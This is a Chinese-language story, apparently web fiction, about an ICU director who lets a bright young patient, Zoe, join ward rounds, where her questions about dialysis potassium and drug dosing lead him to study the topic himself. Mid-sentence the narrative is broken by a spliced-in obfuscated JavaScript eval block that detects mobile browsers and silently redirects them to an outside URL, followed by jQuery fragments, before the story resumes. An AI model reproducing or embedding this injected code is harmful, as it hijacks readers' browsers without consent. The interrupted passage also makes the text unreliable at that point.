九月初，伴着学院开学的节奏，新来一批规培。
那天是周二，心内心外联合大查房。科室主治带着住院医和学生们，从一个病区走到另一个病区，看病人，讨论病情，下医嘱。人很多，白大褂一片，浩浩荡荡。
安东尼作为重症主任，照例也是要参与的，他出于直觉的预警往往相当有价值。他把手插在白大褂的兜里，走在队伍中间，听一个个住院医汇报病例。
心外查完了，大部队准备往心内走。走到走廊拐角的时候，他眼角的余光忽然觉得队伍里多了点什么。
他回头看了一眼。
一个小姑娘，穿着一件白卫衣，正混在人群里，溜溜达达地跟着。脸上戴着口罩，只露出一双眼睛，眨巴眨巴的，很认真地在听。这孩子比记忆里的样子又高了一点点，但这眼神，认不出来都难。
安东尼愣了一下，刚想开口，病区护士长从后面追上来。
“佐伊！你又乱跑！”
小姑娘停下来，转过头，一脸无辜地看着叫住自己的护士长。
“我想走走。麦克斯医生说了可以到处走走。”
护士长叉着腰，“医生说的是在疗养院的花园里走走，不是跟着医生查房！”
佐伊眨了眨眼睛，摘下口罩，神情里有点委屈巴巴的样子，“花园今天有点热。晒多了体温高，循环压力大，对我不好。”
护士长噎了一下。
旁边几个听到动静的规培生憋着笑，不敢出声。
安东尼站在那儿，看着她。
她好像感觉到了他的目光，转过头，笔笔直对上他的眼睛。那双眼睛很亮，没什么害怕，也没什么心虚。就是那么坦然而直白的看着他，好像在问：安东尼，我说的对不对？
安东尼心里觉得这是她第一次在他面前显露出这样的“孩子气”，不，是第一次明摆着“利用”自己还是个孩子这件事。于是他蹲下来，和她平视，“你怎么跑过来了？想跟着查房？”
佐伊点了点头，“嗯，书看累了。”
安东尼看着这孩子的眼睛，然后伸出手，“可以，但是有规矩。必须跟着我。不要自己乱跑乱碰。口罩戴好，手消毒。不要说话，不许插嘴，保持安静。如果有问题的话回去再问我。”
佐伊看着他的手，愣了一下。
然后她把小手伸过去，握住他的手。她整只手裹上去，也只勉强握住安东尼的三个手指。
“好。”
安东尼牵着她，走回查房的队伍里。
护士长站在后面，张了张嘴，又闭上了——这个自己也管过的小家伙的确是安东尼的“兼职”看顾对象，但是……
旁边一个老护士拍了拍护士长，小声说：“行了行了，有人管了就可以了。”
---
从这一天开始，佐伊就光明正大的成了安东尼的小尾巴。安东尼往佐伊的邮箱里丢了一个大查房安排表，一个月，每天的科室不一样，每天都是早晨的一个半小时，安东尼把自己能参加的班次圈了出来，小家伙跟着安东尼的日程也做了份自己的日程表，每天乖乖的在指定科室的护士站等。
就这样，每天早上大查房的时候，只要安东尼去，佐伊就跟着。平会诊的时候，她如果刚好遇到，也跟着。安东尼个子高，步子大，走得快，她就溜溜达达跟在后面，有时候一溜小跑，跑累了就自己歇一会儿，然后继续追。
安东尼不需要回头找她。他知道她万一走散了，会回到护士站乖乖的等。
心内科，心外科，消化内科，血液科，骨科，呼吸科……大部分安东尼感到她能听懂一点点的科室，她都去过，监护仪上的波形和数字，化验单上的箭头，就在这个过程里看熟了。
有一天是肾内科。
一个六十多岁的男人，糖尿病肾病终末期，刚做完透析回来。住院医在汇报情况，主任老霍华德看着那堆高高低低的电解质指标皱着眉。安东尼站在床边听着，余光扫了一眼门口——佐伊靠着墙，站在角落里，安安静静的，像一小团灰色的影子。
住院医说完了，主任开始提问，规培生眼观鼻鼻观心。
这个马上要退休的老霍华德叹了一口气：“那你们回答不出来我的问题，你们自己提问来问我总行吧？我好知道你们脑子里缺点什么，来来来。别不好意思，来提问吧，我的孩子们。”
继续沉默。病房里只剩下监护设备规律的滴滴声。
然后，病房角落里，那个躲在安东尼身边的小家伙举手了。
主任一愣，看了安东尼一眼，然后伸手一指，“你说。”
“透析液的钾浓度是怎么确定的？已知透析过程中血钾会快速下降，如果用正常甚至低钾的透析液，透析完可能更低。用略高于血钾浓度的透析液，是防止透析过程中掉得太厉害。但这个病人血钾2.8，透析液3.5，这个差值是不是太大了？为什么是这个数值？是根据什么算的？是常规方案还是个体化调整？调整的依据是什么？”
声音不大，但问得毫不犹豫……甚至可以说是，逻辑严密，思路清晰。
病房里安静了一秒。所有人……包括病人，都转过头，看向那个角落。
佐伊站在那里，仰着脸，眼睛从口罩上方露出来，认认真真看着主任。她没觉得自己问了什么奇怪的问题，就是纯粹好奇，纯粹的在等一个答案。
安东尼低头看了看手里的病例。
最新一个血钾2.8。透析液钾浓度3.5。
他张了张嘴。然后他把嘴闭上了。
霍华德转过头来，看着安东尼，眼神里有一种“你家孩子？”的疑问，还有一点“这问题问得挺有意思”的兴趣。
安东尼站在那儿，脑子里在飞快地转。为什么低钾的病人要用相对高钾的透析液？为什么是这个差值？说实话，他不知道。他手里只有这张化验单，没有透析方案，没有之前的血钾曲线，没有病人的用药清单。他不知道这个病人有没有在用利尿剂，有没有在用胰岛素，有没有在吃东西，透析前有没有抽过血。
他站在那儿，脑子里转完了这些问题，然后他低下头，看着佐伊。
佐伊看了安东尼一眼，然后又转过去看主任。在等答案。
“这个问题，”霍华德说，“需要一个系统的铺垫才能向你解释清楚。可能需要一个很长的前情提要，我可以给你发个课件。”
佐伊眨了眨眼。然后她点点头，像接受了一个再正常不过的事实。
“好。”她说。
然后老霍华德笑了一声，拍了拍身边那个目瞪口呆的主治的肩：“走吧，下一个。”
安东尼牵着这孩子，跟着队伍往外走。那群二十来岁的规培生默默的跟在了这孩子的后面，大气不敢出。
——
那天下午，安东尼把肾内科那个在轮休的住总从休息状态拽出来，问了半个小时。
透析液的钾浓度怎么定的？根据什么调整？调整的依据是血钾还是临床表现？透析过程中血钾的变化曲线是什么样的？为什么有人用3.5有人用2.0有人用4.0？
住总被他问得有点懵，最后有点无奈的说：“我把我们主任的课件发给你？你要吗？”
“要！”
晚上值班的时候，安东尼打开电脑，开始看课件。看了两页，他停下来，给那个轮休的住院总发了封邮件，问能不能约个时间当面请教几个问题。
那个年轻的住院总叫帕克，回复很快：“我回来上班了，值班呢，你在吗。”
安东尼不敢离开病房，帕克那边病人更稳，于是帕克干脆自己去了ICU了一趟，在安东尼的办公室里坐了一个小时。把透析液配方的逻辑从头到尾讲了一遍，从生理讲到病理，从理论讲到临床，还顺手画了几张图。
安东尼听完，又问了几个问题。帕克一一答了，最后靠在椅背上，看着他。
“安东尼，你是重症主任，肾内科的东西你知道一点就已经够用了。怎么突然问这么细？”
安东尼想了想。
“今天查房的时候，有个小孩问了个问题，我没答上来。”
帕克愣了一下，然后笑了。
“小孩？那小孩几岁？”
“八岁，不到一点点。”
帕克的笑容僵在了脸上，“该不会是我的病人吧。”
“不是。”安东尼又气又好笑，站起来给帕克倒了一杯咖啡。
——
次日早上的大查房，排的消化内科，佐伊站在护士站那边等集合，刚值完夜班的安东尼从楼下上来，看到佐伊在，就把她先拉到边上，找了个等候的椅子坐着。
“昨天那个问题，”他说，“我查清楚了。课件我转发到你邮箱了，你要是有时间，自己也看看。”
然后他开始讲。
从透析液的钾浓度怎么定讲起，讲到血钾在透析过程中的变化曲线，讲到为什么2.8的病人会用3.5的透析液，讲到这个差值是根据什么算的，讲到如果这个病人有特殊情况该怎么调整。他讲了大概十分钟，尽量用佐伊能听懂的方式讲，但没糊弄，所有关键点都讲到了。
佐伊一直听着，偶尔点点头。讲完的时候，她看着他，眼睛很亮。
“所以那个病人，他的透析液是合适的？”
“合适的。”安东尼说，“但如果没有之前的血钾曲线和用药清单，光凭这一张化验单，没法判断这个‘合适’是精心计算的结果还是碰巧撞上的。”
佐伊点点头。然后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401649|200420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她想了想，又问：“那你怎么知道是精心计算的还是碰巧撞上的？”
安东尼看着她。
“我后来去查了病历。”他说，“他有连续三个月的血钾记录，透析前后的都有。他的用药清单里有利尿剂，有胰岛素，有降压药。他的透析方案是根据这些数据个体化调整的。不是碰巧。”
佐伊又点点头。她低头想了想，然后抬起头，看着安东尼。
“谢谢你。”她说，“专门查了告诉我。”
安东尼笑了笑，“不客气，我自己也想知道。”
——
那天晚上，安东尼下夜班刚睡醒，就收到一封邮件。
发件人：
主题：Thank you
Dr. Anthony,
谢谢您专门去查了那个问题。也谢谢您没有随便编一个答案给我。
我以前问别人问题，有些人会说“等你长大了再学”。有些人会讲一点，但讲着讲着就绕过去了。您是第一个查完以后专门回来告诉我的人。
我知道您很忙。所以，谢谢。
ZP.
安东尼看完，把手机放在桌上。然后他站起来，去厨房煮了一份意面。茄汁意面，牛肉粒以及煎和牛，烤番茄，荷包蛋，再搭配盒草莓。吃着的时候，他又把那条消息看了一遍。
“您是第一个查完以后专门回来告诉我的人。”
——
同一周的周五，查房，佐伊还是跟在安东尼身边。心外科，这个科室里里外外，佐伊熟的不得了。麦克斯也喜欢这会发邮件与自己预约复查时间的孩子，看见她也在，招招手跟她打招呼。走到第三个病房，一个住院医在汇报病例，说到某个指标的时候，佐伊拉了拉安东尼的袖子。
“嗯？”安东尼侧过头去。
“那个肌酐清除率，是不是该用矫正公式算？”佐伊小声说，“现在这个，药不对。”
病房里挺安静，虽然佐伊想说悄悄话，但实际上大家都听见了——
不知道这群规培生平时怎么沟通的，反正他们现在都躲着这个小孩走。就连查房的时候，都把她让到前面去“挡子弹”。
佐伊站在那儿，看着安东尼，眼神很认真，不是在捣乱，是真的觉得那个数值可能需要矫正。安东尼清了清嗓子，看了看住院医，住院医愣了一下，低头看了看手里的资料，又看了看麦克斯。
麦克斯走过去，低头看了看那一沓化验单。然后他抬起头，对住院医说：“她说得对。这个指标在病人目前的肾功能下，需要用矫正公式。重新算。”
住院医点点头，低头去算了。佐伊站在那儿，仰着头，看着安东尼，“昨天的课件我看了，你讲过以后好懂多了。”
安东尼伸手牵着她，佐伊跟上，疾走了几步，又慢下来，溜溜达达地缀在边上。
——
那天的最后一个病例不太稳，安东尼进病房详细会诊，不方便带着她，她就在门口等着，靠着墙，安安静静的，不吵不闹。
医生们聊的时间长了点，安东尼出来的时候，发现她蹲在墙角，坐在地上，靠着墙，盘着腿，睡着了——天天早上七点半就到护士站集合，对一个孩子来说的确有点累。
他站在那儿看了她一会儿。
她睡着的样子，和在ICU的时候不一样了。眉头舒展着，呼吸很轻，脸上有一点点肉了。
安东尼轻轻把她推醒，她迷迷糊糊睁开眼，警觉了半秒钟，看见是他，手一伸，做了个要牵手的动作。可站起来的时候左脚绊右脚，安东尼伸手一扶，只见她困得东倒西歪，眼睛又闭上了。
安东尼叹口气，只得干脆一把抱起她，往疗养楼那边走。佐伊个子长了，体重也重了，当年的二十公斤变成了二十二公斤，但对于安东尼来说，依然轻得像一只小鸟——佐伊往安东尼的肩膀上一趴，像只树袋熊似的，找了个舒服的角度，两只手勾着安东尼的脖子，毫无戒心的继续睡了过去，真的像只猫。
当年还在ICU的时候，安东尼自己亲口说家里人大概会很宠，没想到自己第一个先宠上了。
路过护士站的时候，一个小护士探头看了一眼，“安东尼主任，这是谁家孩子啊？”
旁边一个老护士头也没抬，半开玩笑地说：“他女儿。”
安东尼笑了笑，点点头和护士们打了个招呼，没说话。